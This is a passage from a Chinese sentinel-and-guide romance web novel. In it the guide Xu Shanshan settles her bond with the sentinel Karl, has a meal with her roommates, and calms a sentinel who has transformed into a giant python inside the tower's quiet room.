南希:“你又是她第一个,总归不同。别胡思乱想,想推进关系就主动点。” 堂弟像根俊俏的木头,被养得缺乏进攻性,不过倒正好和那位向导一个画风,就是恐怕以后斗不过别的哨兵。 南希:“银行账户关联了吧。” 卡尔点头,这点他还是知道的。 南希:“她对外承认你了吗?” 没有,目前他靠近对方,都是山昊的安排,对方从来没主动找过他,他亦不敢擅自打扰。 南希一只手靠在桌上,搭在脸颊,露出结实的胳膊,肩宽肌阔,撑得T恤绷紧,“你就这样,整天等,要是哪天,他想踢你出局怎么办?” “你不能只当他的跑腿工具人。” “我是接她上下班。”想强调不是为了他,而是为了向导。 南希:“是啊,那你们关系有什么进展?” 见对方又摇头,给机会不中用,无奈摇头,“她喜欢什么?” “她喜欢鸟,喜欢飞在空中的感觉。” 他们确实飞不起来,但也不是没有办法,南希:“家里面有直升机,下周调来,你邀请人家一起看日出、晚霞或者城市夜景,懂了吗?记得提前预约航线。” “好,堂姐,谢谢。” “不谢,”她突然想起,刚联结的哨兵会对向导成瘾,需要安抚,见不到对方会难受,严重的还有结合热。 但他两天天见面,不存在这个问题。 这么一想,小丑竟是我自己,顿时看他不顺眼了,挥手让他离开。 男人起身,光脑响起,铃声特别,低头愣愣地看着来电,抬起眼看向堂姐,又低下头。 她瞬间明白,低声说:“接吧。”凑过来,电话接通,“喂,你好,我是卡尔。” 两小时前。 徐珊珊坐在车上,拨弄光脑,宿舍群突然弹出消息,是一条语音,点开语音条,女声在车内回响,男人视线瞥来一瞬。 吴可:“营地附近有家刚开业的烤肉店,评分不错,我抢到了团券,要不要聚餐?” 下方有一串链接,点进去看,确实不远,菜品、评价都不错。 克拉拉:可以。 红蓝警灯交替闪烁,前方查岗,减速靠边。山昊转头,见她手悬在空中,正在输入,主动开口:“向导?” “我室友,”她瞥见车载导航,距离目的地不远了,但还是参加,“她们叫吴可和克拉拉,精神体分别是野兔和夜光藻。” 在哪听过这个名字,见她一脸雀跃,“想去的话,把地址发我。” “好。” 她迅速回复:我也来! “她们在哪支队伍?你们演习时可以合作。” 徐珊珊还没想过这一茬,“待会我问问。” 车载导航更改路线,行道树不断往身后远去,即将抵达目的地。 “我待会来接你?” 她拒绝道:“这么近,走回去就行了。” 车门解锁,安全带从卡扣脱离,她迫不及待地下车,闪光打在影子上,转身回看。 山昊:“你是不是忘了什么东西?” 她恍然大悟:“包!”在后座提出背包,里面还有换洗的衣物、小零食等。 女人站在人行道上,仰头看向门面牌,寻找店铺标志。 山昊:“训练的时候别逞强,练伤身体得不偿失。” “我知道了,长官拜拜!” 终于找到入口,她挥了挥手,径直走向电梯口,滑门合紧。 发动机引擎启动,汽车驶远。 她来得不慢,但克拉拉更快,已经调好蘸汁坐在桌前。新鲜肉片乘在盘中,一碟碟地摆在桌面,烤网下木炭底部红热。饭局的组织者迟迟未到。 她去甜品区打了一杯酸梅汁,“你来得好早。” 克拉拉:“我早上就回来了。” “那么早?” “队里太吵。” 短暂闲聊后,克拉拉端起盘子,用不锈钢夹将五花肉放上烤架,“先烤吧。” 吴可姗姗来迟,明亮的声线打破沉闷气氛,身后还跟了一个男人。她瞅着有点像那天的问路人。 将他打发走后,吴可走近,“各位,好久不见,过得如何?” 克拉拉:“昨天刚见过。” 不解风情,吴可砸了咂嘴,贴身坐着,看向徐珊珊,“你休息得怎么样,下周开始,每天早晚三公里。” …… 一个令人心塞的消息,酸溜溜的果汁也压不下内心的苦涩,她露出一个十分勉强的笑容。 吴可:“哈哈,相信你一定可以!” 克拉拉:“你跑姿不对,很伤膝盖。” 对面的人被淹的花一样垂下头,一蹶不振,吴可抬眼,“我跑姿也不对,克拉拉你有空教教我?” 银发女人伸出一根手指,皮肤白皙得像玉石,指腹发粉,仿佛光能从中透过,小臂肌肉却很明显。 吴可:“我教学费就是啦。”转头看过来,“你要不要一起来。” 徐珊珊点头,她求之不得,“我参加。” 板蟹、扇贝、鲍鱼、大虾,但某位海鲜热爱者,今天却视若无睹,一筷子都不碰,吴可内心琢磨肯定出了点事。 克拉拉嘴角下撇,安静进餐,注意到她脖子后有缝合痕迹。两人相熟,她再清楚不过。 新朋友爱吃虾,吴可捡起烤好的虾仁放进她的盘中,自言自语道:“哨兵太粘人有点烦。” 她瞥见一旁停下的筷子,“徐珊珊,你说是吧。” “是有点,”最近回消息也有点累,体力耗尽,色欲全无,两人没话硬聊,只能敷衍两句。 徐珊珊:“之后的演习,我们可以合作啊,我这边是跟空战组,你们在哪支队伍?” 克拉拉抬头,吴可接话:“我绑定的是鼬队,一般在地表,克拉拉是海洋组,和我们不在一块。” 她的筷子指向盘上的鱿鱼须,“就是这个。”软体动物。 吴可:“空战组在空中,初期不起冲突,直到缩圈,才被迫加入战斗。地面、浅海的竞争比较激烈。” 吴可嚼了一口贝肉,无所谓道:“遇上了当然可以合作,但初始地图挺大的,不知道会被投放在哪。” 三支队伍实力都不差,往年没有向导参与,也能拿奖。 克拉拉:“你们队捕猎本能太强了。” 吴可:“是啊,精力旺盛、凶猛好战,各个都跟装了发条一样,停不下来,没架硬打。” 他们代谢高,每天摄入量有体重的百分之十,吃得多拉得多,那可都是白花花的银子。怪不得频出任务,不然都养不活自己。 想起那些混世魔王,克拉拉顿时觉得自己的队伍也没那么难以接受,她也有自己的烦恼。 克拉拉:“他们老找我聊天,很烦。” 门铃总响,被迫中断训练,那点灵 光好像也随之消散了,她感到不满。 “把他们的访问权限关了。” 克拉拉:“关了。” 徐珊珊:“访问权限是什么?” 两人抬头看来,吴可略带吃惊地问:“你不会还是个菜鸟吧?你那天那么多人,一个都没看上?” “啊?” “你性冷淡?” “啊?!” 吴可“啧”了一声,“她没经验,下次带她去长长见识。” 灰白色瞳孔里只有食物,克拉拉:你们去,我没空。” “喂喂,”总感觉被小瞧了,她必须纠正,“我是有哨兵的!” 吴可:“嗯嗯,”一副任你辩解的模样,接着解释访问权限,“在系统绑定关系后,有许多便利,比如关联账户、访问权限,他们可以无需预约,靠近向导住处。” “简单来说,就是给别人一把钥匙。” 徐珊珊:“这样岂不是能随时进自己房间?缺乏隐私。” 食指左右晃动,吴可:“非也非也,进门还需要本人同意,访问权限的意思是,他靠近不会被警告驱逐。一般哨兵不能离太近。” 原来是这样,她若有所思地点头,区别好像不大。 晚饭结账,她和吴可平摊,作为拜师费。点开银行账户,心疼地看余额,却发现不对劲,“啊?” “怎么了?” 余额末尾的一连串零,是不是哪个单位转账转错了,要不要报警? 徐珊珊:“钱越花越多了。” 吴可:“还有这种好事?” 吴可隔空说:“点进详情看。” 面容识别后,详细信息展开,果然有副卡,下面是卡尔的账户,可以让他支付。这是? 吴可凑过来,看了一眼,“你还真有哨兵。本来打算下周带你去酒吧玩。” 徐珊珊摇头拒绝:“我不喜欢吵闹的地方,再说,我已经是有家室的人了。” 这话把吴可逗乐了,克拉拉也一副忍俊不禁的模样,露出今天的第一个笑容。 吴可:“清吧,就安静喝酒的那种。当然,你要是想看人跳舞,我也知道一个好地方。” 她展示屏幕,照片的布光、构图非常精妙,完美展示□□。徐珊珊一时间看痴了,下意识捂住了自己的鼻子,更是把吴可逗乐了。 “哈哈哈,你,别流鼻血了,”吴可看向银发女人,对方也显露情绪,被蠢萌的反应逗乐了,“她没玩过。” “别笑了,别笑了,这有什么好笑的。”徐珊珊就不明白了,保守有错吗? 三人走出烤肉店。她吃得多,吴可次之,克拉拉很坚决的一筷子肉一筷子菜,一点甜水不沾。 走在路上,吴可突然说:“其实你使用他们,可以给他们安全感,不必有什么心理负担。” “想来的话,给我发消息,是我朋友开的店。” 她闷声应下,其实心里想着另一件事,关于她和卡尔的既成事实,说要负责,到底怎么负责? 回到宿舍,趁在光脑收缴前,她拨出电话。 第33章 “你好。” 卡尔重新坐下,指尖滑动,细看手部轻晃,嘴角上扬,却犹豫着下句话 他心情复杂,却无疑感到惊喜。 女声经由颞骨的振动器,与颅骨共振,声波直达耳蜗,一句礼貌而略显正式的寒暄。 “我是白塔A组向导,徐珊珊,精神体是蘑菇科的真菌,不久前,意外标记了你。” “……” 只有杂音,没有回应。她把不清对方的态度,略带紧张,两人常见面,却不熟,“能听见吗?” 南希用瓶底敲击桌面,示意别不说话。他并不是走神,只是,不知道该如何回应。太热情会显得过激,太收敛又恐释放错误信号。 卡尔:“可以听见。” “你是不是把银行账户绑定到我名下了?” 原来是问这件事,心里的石头落下,他坦然承认。 对方先表态,她来开口也没问题,只是难免惭愧,他本可以自由生活。 “那件事是个意外,抱歉让你经历这样的事。以后不会再强迫你了。其实你不用绑我的账户。” 幸运意外降临,也会被收回,在猝不及防时。她后悔自己曾做过的错事,迫不及待地想撇清关系。 也许她想说:别再缠着她,他的存在太多余。情绪骤冷,鼻翼泛酸,眼眶微红,努力让语气平稳。 卡尔:“没关系,我不介意,您这次找我是想说……” 视线模糊,他侧身,对着花坛低头,一排蚂蚁托举着食物沿着鞋边过,有几只爬上鞋面。 她的意思是,他可以不用遵守白塔对哨兵的那些要求。 “呃,如果你不介意的话——” 她后面的字被吞了进去,一时难以启齿,同时沉默。 头昏耳胀,热气缠身,指骨仿佛碎裂,最难受的是胸口,像被拳头攥住,无法吸气,脸憋得通红。 见他这副模样,南希也有些震住了,没预料到这样的结果。嘘声等待,掏出一包纸巾,可怜的弟弟,看来计划要取消了。 男人深吸一口气,单方面断绝关系,许多向导甚至不会亲自说,只是冷落一旁,让人知难而退。 卡尔:“嗯,我知道了,不会给您添麻烦的。” 这话听着奇怪,他知道什么了?对面语气绷紧,还是掩盖不了抖动的声线,不太对劲。 她出于本能宽慰:“等等,你不要乱想。” 没预料对方会反驳他,预期中的“再见”没有出现,语速加快,有些焦急,勾起了一丝希望,等待对方的宣判。 “您的意思是?” 话被抛回,这种类似于求婚的话还是让人羞耻,她只能婉转一点,“你还没有和别人绑定关系吧?”话说出口就变形了。 “嗯。” 瞬间从地狱攀升天堂,迅速回应。 蚂蚁们陆续回巢穴,一只在鞋上迷了路,反而往鞋舌爬,指尖生出叶片,贴在鞋面。它爬上去后,放归地面,重回大部队。 泪痕仍在,脸上却露出宁静的笑容,南希觉得堂弟可能有些疯魔了,被向导甩就发疯的哨兵也是有的。 她面上没动,实际已经在蓄力,做攻击姿态了,她得第一时间把他控制下来。 “……以后每月,不,每周你要是有需要可以来找我。我会给你开权限的。” “好。” 接下来她只听到一连串的“好”,仿佛除了这个字不会说别的话,声音也越来越软,像掺了蜜,身体也逐渐放松。 情况有变,没事,想开了就好。 电话挂断,南希将纸巾递过去,“擦一擦,没什么大不了的。” “有什么事别一个人憋着。” 卡尔摇头,笑着回味刚才的对话,满足溢于言表,“是珊珊向导,她回应我了。” 南希:“哟!” 右肩一沉,被重重拍下,他也忍不住笑了两声,笑肌鼓起,起身告别:“队长,我去整理仓库了。” 南希看了看表,还有一个多小时,这么急?喊了一声,没应,人还顺拐了。算了,随他去吧。 电话这头,徐珊珊也松了一口气,拍了拍胸口,转身撞见室友放大的脸。 “干什么呢,喊你一直不应?” “打电话。”她将光脑脱下,走到门口递给教导员。 终于处理完毕,因为宽 松的社会风气和周全的保护政策,她不担心草率的缔结关系,会带来危险,毕竟两个世界不同。 今夜局部强降雨,向室内转移时,不慎踩进泥地,差点摔倒,被傀儡扶起,起身时,雨水已经从鞋面漫进脚背。 道谢后,跟上大部队进入场馆,坐在台阶上,脱下鞋子,将水倒出来,拧干鞋面、鞋底,每次走动时水液相挤发出嘎嘎声。 晚上回宿舍,洗漱后上床休息,气温骤降,盖着薄毯子,忽然觉得有些冷。 第二天醒来,吞咽口水,像刀割般疼,放射到左半边耳朵,她才发现自己喉咙发炎了,也许是跑步时口呼吸,加上受凉。 照常完成训练,下午来到白塔,先回宿舍,撞见卡尔在搬货,纸箱列在墙边,表面涂着房间号,多数被领走了。 这需要本人领,见她从电梯出来,纠察队员走上前,询问她的号码,被卡尔打断,两人见面。 想到昨天的事,她有些害羞,吞咽口水时,左眉一挑,将难受压下去。他似乎也不敢看她。 卡尔:“你的东西在这,我给你送进去。” 她点了点头,男人扒住纸箱两侧,两臂夹紧用力,肌肉绷紧而凸显,货物放上拖车,满满两箱,边上夹着小盒子,两人一同往里去。 高挑个子挡住灯光,她打开门锁,抬头看去,正撞上望过来的男人。她错开眼,低下头,率先进屋。 门边的墙板上挂着美工刀,专门用来拆快递的,她取下来,男人顺势接过去,三两下拆开,抱起包裹。 “放桌上吧,我后面自己收拾。” 一张加宽加长的餐桌,她压根没用过,不知道为什么要在宿舍放这么大的桌子,还有数把椅子。 男人搬运,她也没闲着,抱起灰色塑料袋,没想到非常重,拼尽全力将它挪了一米,只能放在地面,费力拖到桌边。 实在搬不动,干脆别添乱,跑到冰箱前,打算给两人来瓶饮料,里面空空如也,颓然地垂手。 卡尔:“现在换了直饮水,你打开水龙头就可以喝了。” “好。”她倒了一杯温水,另一杯凉水,留给对方。 温热的水淌过扁桃体,舒服多了,在自己住处,看见男人来回的身影,升起一种莫名的感觉。 两人关系很近,哪怕她以后绑定别的队伍。相处时却相敬如宾,没有情侣间的激情。 搬运完,卡尔师傅终于停下来歇一下,她将水杯递过去,对方握在手中,没有喝,轻喘看她。 她略带羞涩,对方毫不避讳,任她打量,好像变得更直白了,“卡尔。” “嗯?”从喉咙里抠出音节,男人靠过来,不说话,她有些紧张,见他从身后掏出盒子,接过来。 掀起盖子,它是被封在文具盒里的手工艺品。银杏树在左边缘,伸展延长的枝叶占据了三分之一的上缘,石阶上坐着一颗蘑菇,再往前处水潭。 金片从顶部落下,树枝上挂着秋千,小人坐在上面,右下方有幢小屋。它制作精细,细节很多。 “很漂亮,送给我的?” “对。” 他看见她收藏的模型,其他动物的,还有亲手制作、留有她气息的蝙蝠羽翼,忍不住也想在藏馆中占一席之地。 “感谢你为我做这些,可惜我没什么能给你的。” 卡尔:“一个拥抱,可以吗?” 她没想到对方会真的提要求,一时愣住了。 “对不起,我僭越了。” 见对方一脸羞愧,她挠了挠头,“没事。” 上次疏导后,两人没什么接触。她有意保持距离,温暖的怀抱容易让人沦陷,对于缺少关爱的人来说更是如此,害怕戳破美好表象。 徐珊珊张开手,“可以,你过来吧。” 没有想象中的紧张,两人贴近,动作很轻,手指搭在布料上,蜻蜓点水般,感受不到力道,除去缓慢有力的心跳声,没有拥抱的实感。 时间变慢了,她逐渐闻到自己身上散发的汗臭味,胳膊放下,想要往后退,背部贴上掌心,不得后退,她抬头看去。 金发浓密而有光泽,眉毛色浅,眉骨高、眼窝深,颧骨构成正面最宽点,脸颊平滑向内收,眼睛缓慢眨着,光斑在碧绿色眼眸像一泓湖水。 “我亲亲你吧,低头。” 几乎是说话的下一秒,就被拥住,两人紧贴,男人弓腰低头,微凉的唇一下子贴上来,将她的嘴舔的湿漉漉的,非常热情让人难以招架。 隐隐察觉到某个地方不对劲,她手掌拍了拍后背,手缩回,捏着喉咙制止,“我不太舒服,可以了。” “哪里不舒服?”男人嘴微张,一手扶着她的脸,似乎很紧张。 “感冒了,喉咙痛。”男人松手后,她有了空,又给自己倒了一杯热水,一口口润喉。 “去医务室看看?” 她摇头,“不严重,买点润喉糖就行了。”除了嗓子疼,一切良好。 “我待会买来。” “行,别耽误你上班。” 短暂相处后两人分开。 她没去办公室报道,宿舍腾出来了,就不想打扰长官,也吃不下饭,直接躺回床上睡午觉。 她梦见,自己穷困潦倒的在水果店挑选廉价的临期水果,撞见前男友带着穿金戴银的老婆、孩子。 这惊悚故事一下子吓醒了她,才过去短短十分钟,却无法再入睡。 洗漱、换衣服、出门,门外的小机器人吐出几盒感冒药,将它们揣进包里。 时间还早,她乘着电梯往静音室去,耳机中放着音乐,在无人的电梯里跟着节奏扭动腰身、挥舞手臂。 歌曲进入尾声,楼层抵达,但外面却很嘈杂,有点奇怪。她怀疑地看向楼层,没有错,这时间点不该没多少人吗? 电梯门打开,吼声更是直冲耳朵,震得脑瓜子嗡嗡响,“还不快给他抬下去?!” 什么事啊? 看热闹的心冒出来,她踏出候梯厅,眼前的一幕让心脏骤停,包的链子从胳膊滑到手腕,而她浑然不觉,脚步停下,呆若木鸡。 《狂蟒之灾》。 里外围了两圈高大哨兵,来得早的向导,躲在静音室门口,伸出头往外看,还没进去的人被堵在门口,相隔很远。 但她还是能从衣裤间隙,瞥见那头巨蟒,菱形黑褐色、浅灰色斑纹,腹有白鳞,随着躯体扭动,显露极其结实强壮的肌肉。 它的腰围粗壮,同时体长数米,蜷缩在一块,放在一块玻璃水箱中,比三轮车更大。 舔了舔嘴唇,看来她来得不是时候,正准备转身,退回电梯,避避风头。箍紧蛇头的男人却眼尖地发现了她,瞳孔收缩成竖瞳,“珊珊向导,是你吗?” 众人抬头看来,她向前的脚步顿住,不敢相信这会和自己有什么关系,但逃跑是不可能逃跑的,假装淡定地转身:“有什么事吗?” “向导小姐,求您救救他。” “砰、砰、砰……” 一下子有十几个人跪在自己面前还是很震撼的,人墙倒下,她才看清楚水箱中的巨物,它头顶肿起,眼睛呈现古铜色,眼下有黑细纹连到后方,不时吐出蛇信,左右分叉,上黑下白。 人蛇对视,它似乎受了刺激,嘴巴张开,露出獠牙,蛇身往男人胳膊上缠绕,越来越紧,旁边的人伸出手帮忙拉住它。 她伸出手指,指向自己,不敢置信:“我吗?” 我救网纹蟒吗? 守卫见她面露难色,十分理解,更要尽自己的职责,对讲机发出呲呲声,“他已经异化了,不该带到这里来,你们赶紧带回去。” “再不走,它待会伤害向导,没人能担待得起。” 紧握蛇颈的男人,垂眼看向队友,想做最后一次努力,“珊珊向导,他是蛇队的哨兵,预约了今天下午的疏导,刚从野外回来,状态不太好,等候时,控制不住自己。” “几分钟前他还能维持人形,我们听说您愿意帮人净化污染,求您帮他,我们会控制住他,绝不会伤害到您。无论成败,蛇队定倾力报答。” 争吵继续,这理由不能让人信服,普通向导不接待这些异化严重的哨兵,更别提已经全身异化的了。 他们这样做是违反规定,支援部队正 在赶来,电梯上升,她还有时间决定,但等人来齐后,他们会做出评判。 她不是不怕,没人能看见七八米的巨蟒而不动声色,强抑着恐惧,慢步前进,清晰地看见蛇尾从水箱边缘落入水中,滑动卷身。 一对圆眼睛,不过指甲大,难以想象这是由一个人变成的。 他情况严重,她的精神体确实是污染专攻,而且不像其他向导,有被传染的风险,按理来说,她可以做这种治疗。 换句话说,现在白塔里,只有她适合做这件事,其他人都不行,解毒和平摊毒性是两码事。 能力越大责任越大,她终于下定决心,迈步穿过人群,率先进门,“可以,你们要控制好它。” 迈向静音室,打开房门,室内亮灯,她站在门边,看向哨兵们,“进来吧。” 守卫试图制止,“徐珊珊向导,您要不要再等等,其他向导马上到。”一些领导也在路上了。 “扣住他。”蛇队的队长很抱歉地看过去,“是我们硬闯,与你无关。” “没事。”她用力地咽了咽口水,喉咙是真痛,再拖就晚了,“进来吧。” 滚轮转动,水箱缓慢移动,但水面仍然激荡起水花,前面的哨兵先进门,将挡路的桌椅推开,留出一条宽敞的路。 她坐回桌上,调整系统参数,静音室内调整到合适的景象、湿度、温度,适合巨蟒的活动。 她抬眼看去,一堆人盯着她干活? 队长示意众人离开,留下六人,异化失控的队员,化身巨蟒,肌肉横向使力,胳膊承受重压,并不好受,发出“咔咔”响声,听得她胆颤。 “向导小姐,开始吧。” “好。”她吸了一口气,将小蘑菇放出来,将它握在手心,还没人家头大,轻声诱哄道:“做完这个,你想要什么奖励,我都给。” 水箱所有盖子打开,垂放在侧壁。 小蘑菇比她更勇敢,她不敢靠近,对方直接从手掌上跳了下去,十分干脆,她担心地跟了几步。 这箱很深,它跳不上去,于是徐珊珊托起它,扶到壁边,它要一路爬,往头部去,却被蛇身扭动时差点撞到,想捉开它,往手心一扭,反而扑了上去,砸进水中,冒出气泡。 蛇身剧烈扭曲,背部与腹部交替出现,水花越来越高,箱体晃动,众人扶着玻璃四壁,但它在推车上,始终摇晃。 与此同时,呼铃响起,因为隔音墙,外面听不见里面的声音,传呼器直连到桌面。 薛柔:“珊珊,你还好吗?” 山昊:“徐珊珊,开门。” 看见努力的哨兵们,她还是拒绝了:“长官、薛柔姐,我没事,待会弄完了再开门,挂了啊。” 异变哨兵的下场很惨,她摁灭了通话。 车轮滑动,惯性和力道让水箱彻底歪倒,满缸水彻底泼洒,溅湿衣物,她看不清它在哪儿了,心急地想靠过去,小蘑菇要是出事,她在这也算半个残废了。 地面也滑,她趴在地上,试图想从绿、黑色的蛇身中,寻找出那一抹白,“你在哪里?” 蜷曲的蛇腹间,冒出一个尖头,被挤在身下,菌丝抽不出来,忍不住想过去帮它,一旁的男人拦住她,她伸出食指,“我的精神体。” “别靠近,我帮你取出来。” 两名哨兵分别站在两侧,蹲下,握住蛇身,黏液湿滑,鳞片稠密,又不停扭动,可以压制但不好将它抬起,费了一番力气,才腾出空隙,让她的精神体抽身。 “小蘑菇,你还好吗?”它的伞柄都已经变成墨绿色,这还只是一会儿,可见对方精神状态有多不好。 刚把这家伙救出来,它又义无反顾地扑了上去,不过这次学聪明了,直接跑去蛇尖,那里有人守着。看得她是好气又好笑。 整条蟒的状态逐渐平复,时间一长,她逐渐降低警惕,甚至接近时,偷摸了一下鳞片,连接处有些粗糙,好像会呼吸一样在手下张合。 透明框鳞片覆盖眼睛,蛇信也很少伸出,这证明它进入放松状态。它腹部比头粗,身上铺有彩虹,没有腥味。 虽然什么都没做,但徐珊珊也满身是汗,感觉出得比他们还多。 她朝蛇头走去,从胸章和臂章来看,男人应该是小队的队长,他蹲在地上,在她接近时仍能够露出一个微笑,实际上已经骨裂。 这对哨兵来说,仍算不上严重伤口。 “队长。” 她靠得不算近,另一个男人走近,手按在脖颈后,想替队长摁住头部,让他休息,防止伤口进一步恶化。在两人交换的过程中,异变突生。 她只感到有什么东西甩了过来,然后天旋地转,接着躯干四肢都有挤压感,落地时有块肉垫着,但几乎差点吓尿。 幸好中午没吃饭,没给吐出来,蛇信扑在她的脖子上,滑溜溜的。 “再见了妈妈,今晚我就要远航。”这句话从脑中冒出来,看来她此命危矣—— 作者有话说:《狂蟒之灾》巨蟒食人电影 “再见了妈妈,今晚我就要远航”出自歌曲《月亮船》 第34章 “珊珊向导!” 在男人的急呼声下,巨蟒凭借其强大的肌肉力量,将女人卷起,抬离地面。层层裹住,脖颈、胸、腰,环绕大腿、膝盖,拧成蛇结。 下意识反抗时,两只鞋挣落,露出套上白袜的脚,脚趾不停蹬向蛇身,不痛不痒,直到双腿被彻底束缚,两脚腾空。 “唔,”手指扒煮蛇身,徒劳地往外推,随着它不断缩紧,手逐渐摊平,没于墨绿色鳞片下方。 蛇身从后颈绕到耳侧,弯曲地抬起头部,居高临下地注视。三人一蛇以一种奇异的姿态扭在一块,两只胳膊分别从身体两侧,插入她与蛇身之间,硬生生腾出空隙。 脖子、胸腔、腹部都是重点保护部位。 勒紧脖子,阻断血液循环,几秒就会失去意识,大脑会缺氧死亡。 压迫胸腔,在猎物每次呼气时,均匀地挤压胸腔,不紧不慢地施力,无法吸气,肋骨被压断,痛苦窒息而亡。 挤压腹部,内脏会被压坏,脊椎脱位,切断血流,血液涌入大脑,头脑发涨,进入视网膜,一片血红,甚至觉得眼球跳脱,意识模糊。 三十秒,这是它收缩施力所需的时间,这段时间内如果无法打碎蟒蛇的头,割破身体,基本就无力回天了。 所幸在场的人经验丰富,护住要害,而它也没有绞杀意图,只是单纯地想缠在一块,只施加了不让对方逃脱的力气。 蛇尾试图挣脱手,后方的人试图压下,仍窜出去一米,甩脱菌丝,男人只得先抱起被染成墨绿色的蘑菇,担心它意外受伤。 另一人迅速跪下,用手掌和膝盖压住尾巴,感受它不断在掌根拧动。 这疯子。 它的吻部逐渐贴上来,蛇信伸出,从她的脸颊扫向鼻梁,似乎在采集气味,冰凉、粗糙的鳞片刮擦着娇嫩皮肤。 当它张嘴时,气管向前伸,黑色洞口,数排尖牙向后弯,上下颌张开,接近一百八十度,鳞片间皮肤和肌肉延展,像被撑开的蛇皮口袋。 别吃我,别吃我,别吃我。她动不了,只能在心里默念这句话。 它合上嘴时,短方圆脑袋就显得憨笨,唇窝中的热传感器感知红外辐射,清晰勾勒出在场众人的位置和大小,吻部贴着女人的脸颊往上蹭,没有做出攻击举动。 其他人的精神体纷纷冒出来,一时间冒出数种大型蛇,为了不吓到向导,都在她的视野盲区,“嘶嘶”声若隐若现。 响尾蛇尾部摇动,角质环相互摩擦,发出响亮的“嘎啦”声。还有奇怪的搔抓声从下半身传来。 进攻意图被队长制止了,巨蚺虽做伏击姿势,却并未发动袭击,他发现了不对劲,拍了拍蛇身,被露 牙恐吓。 他和副队的手臂也陷在结里,为了防止向导受伤,第一时间扑上来。刚才动静极大,仿佛失控堕化,那一刻,他甚至下定决心,准备击毙它。 但冷静感受,根本没用力,别看缠了这么多圈,捆他胳膊那儿反而不时露出间隙,让他能缩回手,隐约透露点嫌弃的意思。 他不可能伸出来,以防万一,虽然胳膊贴在别人身上有些冒犯,至少它得先放开,不能缠着人家,稍微使点劲,普通人的身体强度根本扛不住。 他内心暗骂,兄弟你刚刚绞我的时候用的不是这个力道。他现在还不一定恢复清醒,只是暂时失去了攻击性,决定减少刺激。 众人对视,交换了意见。 眼镜王蛇仍竖起上身,但不再扁脖子,将毒牙收了回去,只发出低沉的“呼呼”声,但竖起的身体仍在女人的侧脸上投下一片阴影。 脸被舔了一遍,非常奇怪,她忍无可忍地看向身前的男人,他的手臂肘撑在肩颈部,整个人也被迫歪头。 “队长,他醒过来了吗?” 见她还能说话,在场的人无不松了一口气。她的忽视,让缠在身上的巨蟒不满地发动攻击。 它扭头就咬他,男人敏捷地躲过攻击,一只手摁住它的上颌,但靠的太近,摁不中。 它还不甘心,牙齿陷进肩膀的肉,幸好这是无毒蛇,只是受点皮肉之苦,趁着这个机会,副队扣住蛇头,“胶带,”旁人走过来,摁住颈部,用索套套住蛇头,随后绳子勒紧。 “他才是队长。” 手指向身后,她扭头往天花板看,勉强看见人脸,但更显眼的,是大大小小数不清的蛇头,其中不乏毒蛇,低着头盯着她。 尖叫都没勇气,她多么想昏过去,但意识却分外清醒,磕磕绊绊回应道:“抱歉,我有点头晕眼花了。” “没关系,”对方并不介意她认错人,解释道:“他应该醒了,只是还没法交流。” “还需要一段时间才能恢复,可以请您再这样待一会儿吗?” 徐珊珊:“没问题。” 她更担心自己的精神体,这是她吃饭的家伙,看见有人将它抱到面前,虽然是一副醉态,还能翻个身,状态良好,她才放心。 室内安静下来,一时只剩呼吸声,还有布料的摩擦声,过了一会儿,仍不消停,她觉得自己膝盖都要被蹭红了。 不适感逐渐占据上风,“队长,能麻烦您找人看一下吗,是不是有什么,在蹭我的裤腿,把它抬走,好吗?” 男人行动不便,喊了另一人的名字,对方走上前,蹲下身,搬动腿部的蛇身,可能是理智恢复,抗拒不再强烈,于是他看清了到底是什么在作祟。 他耳朵一红,一边掰开一边说:“是残余的后肢。” 队长瞬时明白了,脸色一沉,看那双黄铜色眼睛,清澈许多,恨不得给他当场来一脚,看来是好得差不多了。 “向导小姐,感谢您的救命之恩,他的情况暂时稳定下来了,接下来我们将它带回去,现在将它拉开,请您不要动。” 男人话音未落,静音室的门被打开,用的系统权限,因为她一直没回应,等候的人太担心,选择开门。 室内赫然是一个蛇窟,在水潭中躺着的女人,半边身体躺在水下,仅露出头部和脚踝,一双被浸湿的袜子。 她周围盘着大大小小的蛇类,光打在身体鳞片上,反射出耀眼的光。 “嗨,”她试图抬出手掌,最终只伸出两个指头,一改变姿势,咽口水时,露出痛苦面具,为免担心,又马上笑起来,“我没事。”头发打湿,弯曲的淌在水面。 人们从狭窄的门口涌入,围了几排。 皮鞋踏进水潭,漫到鞋面,走动时沾湿裤脚,山昊朝她而来,蹲下身,挡住脸,伸手将她从水泊中抬起。 “咔嚓——”闪光灯亮起,摄像机记录下这一幕。 在拍摄下,蛇队开始搬运这条网纹蟒,下身举起,上身仍不愿意松开,被人从后方狠狠踩了一脚,不知道是谁干的。 同伴拍了拍头,轻声提醒:“松开啦,别耽误别人时间。”别在这丢人现眼了。 小眼珠子,眼神都不一样了,还装听不到,既然不听劝,只能威逼了,“你也不想在这里变成人形吧?” 恢复需要的时间未知,也许是明白了后果,它终于放松肌肉,让人轻松地扛起来,重新放进水箱中。 静音室内外人员众多,水箱推出门口,蛇队的队长环扫了一圈人群,落在被抱进内间的女人背上,视线很快被隔断。 “感谢向导小姐的付出,带来一场奇迹……我们会尽全力,回报您的恩情。” 鼓掌声响起,发表完激昂的演讲,队长走出门,迎接他的是持枪核弹的士兵。 他们的行为合理却并不合法。擅闯重地,会被定罪判罚,他作为领头,下令挟持守卫,罪加一等。 被戴上镣铐,队员们却没有不高兴的,在注视下,仍一脸笑意。 他们冲破了人们对变温动物的刻板印象,冷血、没有感情、养不熟、受本能驱使。 人群被驱散,她被转移到车上,前、后方有车辆随行。 这次可能是异能用得狠了,她躺在车上,靠在长官胸前,头僵僵的,也说不出什么话,听着人声,执行指令。 静养后,又是身体检查。等她意识回笼,发现自己又旷了一天训练,一时说不上是庆幸还是担心,毕竟还有考核。 她刚抬头,就被人打断,“最近好好休息,需要什么,我带到医院来。” 餐盒揭开,热气腾腾,新鲜的热乎食物,她眨了眨眼,看向说话的男人,“对不起,让你担心了。” 他头部轻摇,垂向侧面:“是我对不起你,我该尊重你的想法。” “你的人生,我无权插手。你没有必要对得起我……我们。” 阳光闪烁,消息传开,当事人被暂时隐藏,但联系不上的人,引起了亲友担忧。 当晚,哨兵宿舍。 宿舍床上,从被子里伸出一条带着黑色斑点的毛茸茸尾巴,卷了个弯。 吃完瓜,佛尔克放下平板,抬头看向门口两人,“副队、队长,要是我也异化了,你们会绑着我硬闯静音室吗?” 对床的人嗤笑一声,“想得美,我才不陪你受罚呢。” 邵江:“我会及早发现你的情况,他们新陈代谢慢,感知不敏感,一发现就很严重,这才不得已之举。再说,这不是什么好榜样。” 阿瑞斯联系不上心上人,更是没好心情,懒得搭理。 